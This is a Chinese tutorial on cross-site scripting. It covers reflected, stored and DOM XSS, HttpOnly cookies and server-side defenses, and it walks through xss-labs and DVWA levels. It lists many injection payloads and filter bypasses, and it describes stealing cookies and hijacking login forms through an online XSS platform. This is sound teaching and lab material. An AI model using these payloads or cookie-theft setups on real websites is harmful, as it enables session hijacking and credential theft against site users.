xss跨站脚本攻击总结

XSS(跨站脚本攻击)

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )CSS的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

原理

SQL注入是服务端将用户输入的数据当成SQL代码去执行

XSS可以理解为服务端把用户输入的数据当成前端代码去执行。 前端代码(JS代码)

利用条件

第一个就是用户能控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据

XSS主要拼接什么?

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:XSS就是拼接恶意的HTML)

XSS的危害

获取用户信息(如浏览器信息、IP地址、cookie信息等),盗取cookie(用的最频繁的) cookie相当于一个人的身份证。

钓鱼(利用XSS漏洞构造出一个登录框,骗取用户账号密码,提示登录过期,模拟一个网站的登录框,将用户名。密码发送到攻击者服务器。)

后台增删改网站数据等操作(配合CSRF漏洞,骗取用户点击,利用js模拟浏览器发包)

xss糯虫(微博糯虫:只要看过某人的微博就是自动关注某人;贴吧糯虫:看过某个帖子就是自动回复这个帖子)

获取内网IP(攻击内网)

获取浏览器保存的明文密码

截取网页屏幕

网页上的键盘记录

钓鱼

1、反射型

反射型XSS又称非持久性XSS,这种攻击往往具有一次性;参数型跨站脚本

主要存在于攻击者将恶意脚本附加到url的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

攻击流程:1、攻击者发现反射型xss的url 2、根据输出点环境构造xss代码 3、进行编码、缩短(为了增加迷惑性) 4、发送给受害者 5、受害者点开链接,xss代码执行 ,完成攻击者代码功能。

攻击者通过邮件等形式将包含XSS代码的链接发给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。

<script>alert(1)</script>    这个代码弹窗成功,意味着我们的HTML代码可以执行

提交的数据成功的实现了XSS,但是仅仅是对这次访问产生了影响,是非持久型攻击

<script>alert(document.cookie)</script>    这个代码就是盗取cookie

可用于钓鱼、引流、配合其他漏洞如CSRF等

怎么去寻找反射型xss?或者反射型xss的利用场景

见框就插,修改url参数。

Payload
经典测试  <sciprt>alert('hack')</script>
大写绕过  <SCRIPT>alert('hack')</SCRIPT>
双写绕过  <scr<script>ipt>alert("xss")</script>
其他标签  <img src=1 onerror=alert('hack')/>

2、存储型

存储型XSS又称持久性XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。

主要存在于攻击者将恶意脚本存储到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

多见于评论留言,个人信息等处。

攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

<script>alert(document.cookie)</script>

攻击范围广,流量传播大,可配合其他漏洞。

3、DOM型

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。

通过JavaScript操作document,实现dom树的重构。主要存在于用户能修改页面的dom,造成客户端padload在浏览器中执行。

4、HTTPonly

什么是httponly?

如果你在cookie中设置了httponly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止xss攻击。

ps:只是防止cookie被读取,一定程度上防止xss攻击,但是并不能阻止xss攻击。或者阻止xss漏洞。

如果httponly开启之后,怎么去拿到后台?由于是拿到后台

有两种思路:

1、cookie获取进入后台

2、直接账号密码登录

(1)保存读取

利用xss去读取网站保存的信息

xss有个模块就是获取保存的明文账号密码。

(2)未保存读取

通过表单劫持,也就是让网站在输入账号密码发送数据包的时候,再发送一份给xss平台。

但是这里需要注意的是,此时的xss漏洞要存在于登陆框,如果不在登陆框,那么也是不行的。

5、利用xss平台

利用XSS平台,然后就可以开始操作了。

xss平台自己搭建,或者使用别人搭建好的线上的。推荐线上https://xss.yt

但是线上不好的地方就是,你这里面的数据,别人能看到。

第一步先创建项目

image-20230711233356682

第二步勾选配置

这里直接勾选第一个配置就行。

image-20230711233452179

第三步点击右上角查看代码

image-20230711233716678

然后直接复制第一个代码到,有xss的地方。这里我们使用dvwa的存储型靶场。

image-20230711233840213

刷新页面之后。

回到我们的xss平台。

image-20230711233935559

发现我们界面被截图,而且得到了cookie,浏览器信息很多。

6、防御

1、阻止恶意代码注入

2、阻止恶意操作执行

不管是反射型还是存储型xss,都能通过服务端过滤进行防御。

黑名单:过滤特殊符号及字符

如< > % # / " ’ ; ( ) script svg object on事件等

白名单:只允许特定类型或符号

编码及转义

输出在标签或属性中进行HTML编码;

输出在script标签或事件中进行JavaScript编码

输出在url中进行url编码

cookie中设置httponly

setcookie将httponly选项设置为ture,防范cookie劫持

确保执行脚本来源可信

开发者明确告诉客户端,哪些外部资源可以加载和执行。

不使用有缺陷的第三方库

7、XSS靶场

1、无过滤

没有任何过滤,直接在get请求方式的参数name中写入

<sciprt>alert(1)</script>

2、有双引号

发现在代码中,存在双引号,我们输入的代码会被写入到value" " 里面

<input name=keyword  value="test">

所以构造payload

test"><script>alert(1)</script>"
或者
test"><script>alert(1)</script>//     //这是注释符的意思<input name=keyword  value="test">   <script>alert(1)</script>  "">  这样就完成了闭合

3、有单引号而且<>被过滤

<input name=keyword  value='test123'>	

发现这是一个单引号闭合。

test'><script>alert(1)</script>'
或者
test'><script>alert(1)</script>//<input name=keyword  value='test'>    <script>alert(1)</script>    ''>	

但是问题并没有这么简单,这不是一个简单的单引号闭合,而是<>也被过滤了。

查看源代码发现有这个函数 htmlspecialchars

这个函数的功能就是将特殊字符转换为HTML实体。

所以在构造payload的时候,不能使用带有< > " ’ 等字符

(1)构造标签事件进行过滤

因为返回值在input标签中,所以尝试构造onclick事件触发xss

' onclick=alert(1)//    前面的' 是为了闭合前面的'<input name=keyword  value=''  onclick=alert(1)   //'>	这里为什么存在htmlspecialchars函数,但是' 还是没有被过滤?

扩展:

如果在过滤时.htmlspecialchars加上ENT_QUOTES选项的话则无法进行xss注入,因为这里的 ’ 也被转换,导致引号无法闭合,无法执行注入语句。

(2)构造JavaScript伪协议
' onmouseover='javascript:alert(1)'

4、双引号而且<>被过滤

(1)javascript伪协议
" onmouseover='javascript:alert(1)"     由于这里是双引号闭合,所以前面需要双引号   
(2)构造标签事件进行过滤
" onclick=alert(1)//

这里是通过对< >进行替换,没有使用函数。所以上面的两个方法还是能实现。

5、过滤了script和on

也就是我们上面的两个方法都不能使用了。但是没有过滤<>

<input name=keyword  value="tset">

尝试利用没有过滤尖括号,构造a标签再尝试利用a标签的href属性执行javascript:伪协议,

"><a href='javascript:alert(1)'>//<input name=keyword  value="tset"><input name=keyword  value="">  
<a href='javascript:alert(1)'>//">

没有对javascript进行过滤,触发xss

6、过滤了script和on还有href

"><a HREF='javascript:alert(1)'>//

利用大小写HREF绕过

7、将特殊符替换为空

这里将script、on、src、data、href直接替换为空。同时将大写转为小写,也就是大小写绕过也被禁止了。

但是由于只替换了一次,所以通过双写就能绕过。

" oonnclick="alert(1)"//    由于on被替换,但是只替换一次" onclick="alert(1)"//     而且从左向右,所以中间的on被替换为空

同时还可以使用 JavaScript伪协议

" oonnmouseover="javascscriptript:alert(1)"//

同理 构造a标签

" /><a hrhrefef="javascscriptript:alert(1)">a</a>//

8、基本过滤完全

不仅把script、on、data、src、href直接过滤了,大小写也被过滤,还将 " 双引号替换为空。

大部分的弹窗函数都被过滤掉,这时我们只能HTML实体化。

javascript:alert(1)   实体化为
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

由于在搜索框的注入点,过滤很完全,所以另寻办法找其他注入点。

所以需要先添加友情链接,然后在友情链接那里,进行绕过,然后弹窗

9、检查http://

这里不仅过滤了第八关的,而且还会在我们添加友情链接的时候检查有没有http://,如果有那么才是有效链接。

那么我们直接在后面加上http://,再把http://注释。

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

10、更换注入点

发现没有了框,但是是GET请求方式,有变量keyword。

但是在keyword变量这里怎么注入都不行。

查看源码发现还有一个变量,为t_sort,而且在t_sort变量中过滤了<>

onclick="alert(1)"// 

所以在变量t_sort后面value后面加上 οnclick=“alert(1)”// 并且将type由hidden改为text,然后输入框就显示出来了,再去点击输入框即可。

11、ng-include

12、img

通常使用于script被过滤的情况下。

<img%0asrc=123%0aonerror=alert(1)>%0a是因为过滤了空格的原因,如果没有过滤空格,那么就不需要%0a

13、注释过滤

这一招是在dvwa的中等medium模式下学到的

井号在php中是单行注释,提交时会将后面的内容注释掉,但是也会带入到html当中当作js代码执行

14、弹窗语句总结

<script>alert(1)</script>
<a href="javascript:alert(1)">aaaa</a>
<img src=1 onerror="alert(1)">
<svg onload="alert(1)">  //onerror    当加载文档或图像时发生某个错误
<iframe src="javascript:alert(1)"></iframe>
<iframe onload="alert(1)"></iframe>无<>的弹窗语句
onclick="alert(1)"     //鼠标单击事件
onmouseover="alert(1)" //鼠标悬浮事件

最后还有很多的绕过姿势,推荐博客

https://blog.csdn.net/qq_53079406/article/details/123901260

cookie:存储本地   存活时间较长  小中型
session: 会话  存储服务器  存活时间较短  大型企业使用ps:这里啊有个问题,如果网站是通过session验证,那么用xss是无法盗取管理者的seesion,因为seesion是存储到服务器的,而没有存储到本地。但是呢,还有一个问题就是,如果能操作网站去访问phpinfo界面,在phpinfo界面里,存在cookie,而在这个cookie里面,就有seesion。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/27110.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mybatis-plus 支持不同数据源sql切换

mybatis-plus 支持不同数据源sql切换 本篇内容主要讲解的是mybatis-plus 支持不同数据源sql切换 直接上代码 1、结构代码 2、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactI…

用html+javascript打造公文一键排版系统6:三级标题排版

正文中的标题分为四级&#xff0c;文中结构层次序数依次可以用“一、”“&#xff08;一&#xff09;”“1.”“&#xff08;1&#xff09;”标注&#xff1b;一般第一层用黑体字、第二层用楷体字加粗、第三层和第四层用仿宋体字标注。 对于以阿拉伯数字开头、后接英文点号.及…

2019年 iMac 21.5寸升级内存条和硬盘

硬件更换 CPU&#xff1a;i5-8500&#xff0c;最高可换到i7&#xff0c;算了&#xff0c;挤牙膏厂&#xff0c;性能提升不如换内存和SSD&#xff0c;i9散热不太好&#xff08;主要是穷&#xff09;显卡&#xff1a;焊在里面换不了&#xff08;外置显卡&#xff0c;主要是穷&am…

Prometheus实现钉钉报警

1、Prometheus实现钉钉报警 1.1 Prometheus环境 # my global config global:scrape_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute.evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute…

opencv -10 基础运算之 图像加权和(图像融合图像修复视频合成)

什么是图像加权和&#xff1f; 所谓图像加权和&#xff0c;就是在计算两幅图像的像素值之和时&#xff0c;将每幅图像的权重考虑进来&#xff0c;可以用公式表示为&#xff1a; dst saturate(src1 &#x1d6fc; src2 &#x1d6fd; &#x1d6fe;)式中&#xff0c;satu…

Elasticsearch:语义搜索、知识图和向量数据库概述

结合对你自己的私有数据执行语义搜索的概述 什么是语义搜索&#xff1f; 语义搜索是一种使用自然语言处理算法来理解单词和短语的含义和上下文以提供更准确的搜索结果的搜索技术。 这种方法基于这样的想法&#xff1a;搜索引擎不仅应该匹配查询中的关键字&#xff0c;还应该尝…

C# Sdcb.Paddle2Onnx Paddle模型通过C#转换为ONNX模型

https://github.com/sdcb/PaddleSharp/blob/feature/2.5/docs/paddle2onnx.md 效果 项目 代码 using Sdcb.Paddle2Onnx; using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing…

代码随想录算法训练营day6 | 242. 有效的字母异位词,349. 两个数组的交集,202. 快乐数,1. 两数之和

目录 242. 有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和 242. 有效的字母异位词 242. 有效的字母异位词 难度&#xff1a;easy 类型&#xff1a;哈希表 思路&#xff1a; 代码&#xff1a; class Solution {public boolean isAnagram(String s, St…

STM32(HAL库)驱动GY30光照传感器通过串口进行打印

目录 1、简介 2、CubeMX初始化配置 2.1 基础配置 2.1.1 SYS配置 2.1.2 RCC配置 2.2 软件IIC引脚配置 2.3 串口外设配置 2.4 项目生成 3、KEIL端程序整合 3.1 串口重映射 3.2 GY30驱动添加 3.3 主函数代 3.4 效果展示 1、简介 本文通过STM32F103C8T6单片机通过HAL库方…

DOM编程

DOM编程 DOM树&#xff1a; 获取DOM对象的方式&#xff1a; 通过id直接获取 id禁止使用&#xff0c;因为项目都是css、html、js分离的 2、通过API&#xff0c;doucument.getElementById 3、通过class&#xff0c;doucument.getElementsByClassName 4、通过标签名称&#xff0…

Vue收集表单数据

收集表单数据&#xff1a; 若&#xff1a;<input type"text"/>&#xff0c;则v-model收集的是value值&#xff0c;用户输入的就是value值。 若&#xff1a;<input type"radio"/>&#xff0c;则v-model收集的是value值&#xff0c;且要给标签配…

快速入门Linux 中的常用命令

目录 Linux 常用命令lspwdcdtouchcatmkdirrmcpmvvimgreppsnetstat Linux 常用命令 使用终端软件连接到Linux系统后会出现下面这样的 root 表示当前用户的用户名 iZbp1gjlzlb0uidsc2adxuZ 表示主机名 ~ 表示当前所在的目录&#xff0c;在Linux中表示home目录&#xff08;用户数…